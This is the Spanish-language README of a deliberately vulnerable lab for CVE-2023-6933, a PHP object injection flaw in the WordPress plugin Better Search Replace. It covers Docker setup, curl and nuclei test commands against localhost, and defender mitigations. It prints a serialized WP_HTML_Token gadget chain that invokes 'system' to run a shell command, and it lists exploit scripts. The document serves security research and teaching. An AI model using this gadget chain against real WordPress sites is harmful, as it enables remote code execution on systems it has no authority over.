Laboratorio de Vulnerabilidad CVE-2023-6933
Resumen
Este entorno de laboratorio demuestra CVE-2023-6933, una vulnerabilidad crítica de Inyección de Objetos PHP en el plugin Better Search Replace de WordPress versiones ≤1.4.4.
Detalles de la Vulnerabilidad
- ID CVE: CVE-2023-6933
- Puntuación CVSS: 9.8 (Crítica)
- Plugin Afectado: Better Search Replace ≤1.4.4
- Tipo de Vulnerabilidad: Inyección de Objetos PHP a través de entrada de usuario no serializada
- Vector de Ataque: Endpoint AJAX
/wp-admin/admin-ajax.php con acción search_replace_db
Inicio Rápido
1. Desplegar el Laboratorio
# Clonar el repositorio
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Desplegar usando imagen de Docker Hub (descarga automática)
docker-compose up -d
El laboratorio automáticamente:
- Descargará la imagen vulnerable de WordPress desde Docker Hub (
trex999/vulnerable-bsr-lab:latest)
- Configurará WordPress con MySQL y phpMyAdmin
- Instalará y activará el plugin vulnerable Better Search Replace (v1.4.4)
- Completará la instalación en ~60 segundos
2. Acceder al Entorno
3. Probar la Vulnerabilidad
# Ejecutar el POC automatizado
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Prueba manual mediante curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Análisis Técnico
La Vulnerabilidad
El plugin Better Search Replace contiene una vulnerabilidad de Inyección de Objetos PHP en su manejador AJAX. La vulnerabilidad ocurre cuando:
- La entrada del usuario se pasa al parámetro
search_for mediante POST a /wp-admin/admin-ajax.php
- La acción se establece en
search_replace_db
- La entrada contiene objetos PHP serializados que se deserializan sin la validación adecuada
- Esto permite la instanciación arbitraria de objetos y potencial ejecución de código
Métodos de Verificación del POC
Nuestra plantilla de nuclei demuestra la vulnerabilidad a través de múltiples etapas de verificación:
- Detección del Plugin: Confirma la presencia de la versión vulnerable del plugin
- Prueba de Inyección de Objetos: Envía cargas útiles serializadas y analiza las respuestas
- Verificación de Comportamiento: Confirma el procesamiento exitoso de la deserialización de objetos
Características Clave de Este Laboratorio
- Sin Dependencia de Errores: El POC demuestra la vulnerabilidad real mediante análisis de comportamiento, no mensajes de error
- Pruebas Funcionales: Utiliza objetos serializados seguros para verificar la deserialización sin dañar el sistema
- Despliegue Automatizado: Configuración completa del laboratorio con cero configuración manual
- Múltiples Métodos de Prueba: Tanto plantillas automatizadas de nuclei como comandos manuales con curl
Documentación
Referencia Rápida
- README.md: Este archivo - inicio rápido y resumen
- CVE-2023-6933_POC_DOCUMENTATION.md: Documentación técnica completa con análisis detallado del PoC
- POC_TEMPLATE_SUMMARY.md: Cumplimiento de requisitos y confirmación de entrega
Plantilla Profesional de PoC
La plantilla de nuclei (nuclei-templates/cve-2023-6933.yaml) está estructurada profesionalmente:
- Código limpio sin comentarios excesivos
- Documentación técnica exhaustiva en archivos separados
- Formato de plantilla listo para producción
- Cumplimiento total con los estándares de investigación de seguridad
Resultados de las Pruebas
Ejecución Exitosa del POC
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
El POC exitosamente:
- ✅ Detecta la versión vulnerable del plugin
- ✅ Confirma la capacidad de inyección de objetos mediante el análisis de respuestas
- ✅ Demuestra la vulnerabilidad funcional sin depender de errores
- ✅ Proporciona verificación de comportamiento de deserialización exitosa
Aviso de Seguridad
⚠️ ADVERTENCIA: Este entorno contiene software intencionalmente vulnerable. Úselo solo en entornos de prueba aislados. No lo implemente en producción ni en sistemas accesibles desde Internet.
Limpieza
Referencias
Creado con fines educativos y de investigación en seguridad
Entorno Docker (Docker_LAB_SETUP/)
- WordPress 6.4.0 con Better Search Replace 1.4.3 vulnerable
- Servidor de base de datos MySQL 8.0
- phpMyAdmin para la gestión de bases de datos
- Entorno vulnerable preconfigurado
Scripts de Explotación
cve_2023_6933_exploit.php - Kit de herramientas completo de explotación PHP
wp_html_token_poc.php - Demostración de RCE en WordPress 6.4.0+
bsr_direct_exploit.php - Prueba directa de vulnerabilidad
Herramientas de Detección
nuclei-templates/cve-2023-6933.yaml - Plantilla avanzada de nuclei
manual-test.sh - Script completo de pruebas manuales
🎯 Metodología de Explotación Adecuada
Este laboratorio demuestra la detección basada en no-errores siguiendo las mejores prácticas para la investigación de vulnerabilidades:
1. Detección Basada en Éxito
En lugar de depender de errores HTTP 500, nuestras herramientas detectan:
- Procesamiento exitoso de la carga útil
- Deserialización de objetos serializados
- Patrones de respuesta de la aplicación
- Evidencia de explotación funcional
2. Cadena RCE WP_HTML_Token
Utilizando la clase WP_HTML_Token de WordPress 6.4.0+ para RCE real:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
3. Múltiples Vectores de Ataque
- Explotación del endpoint AJAX (
admin-ajax.php)
- Manipulación directa de la interfaz del plugin
- Inyección en base de datos mediante operaciones de búsqueda/reemplazo
🔬 Enfoque de Pruebas
Pruebas Manuales
# Probar presencia básica del plugin
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Probar vulnerabilidad con carga útil segura
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
Características de la Plantilla Nuclei
- Pruebas multi-vector: 5 solicitudes HTTP diferentes
- Coincidencias basadas en éxito: Busca procesamiento funcional, no errores
- Extracción completa: Detección de versiones, análisis de respuestas
- Cargas útiles seguras: Enfoque de pruebas no destructivas
Características de las Pruebas Manuales
- Detección y validación de versiones del plugin
- Generación y prueba de múltiples cargas útiles
- Demostración de RCE con WP_HTML_Token
- Verificación exhaustiva de vulnerabilidad
📊 Puntos de Acceso del Laboratorio
🛡️ Consideraciones de Seguridad
Para Investigadores
- Este es un entorno intencionalmente vulnerable
- Úselo solo en redes aisladas/controladas
- No es para entornos de producción
- Solo con fines educativos
Para Defensores
- Actualice Better Search Replace a ≥ 1.4.5
- Implemente reglas WAF para datos serializados
- Monitoree patrones de inyección de objetos
- Auditorías de seguridad periódicas de plugins de WordPress
📚 Valor Educativo
Este laboratorio proporciona experiencia práctica con:
- Vulnerabilidades de Inyección de Objetos PHP
- Análisis de seguridad de plugins de WordPress
- Ataques de serialización/deserialización
- Explotación de cadenas de gadgets
- Automatización de detección de vulnerabilidades
- Metodologías de pruebas de seguridad
Autor: Trex
Versión del Laboratorio: 2.0 - Metodología de POC Mejorada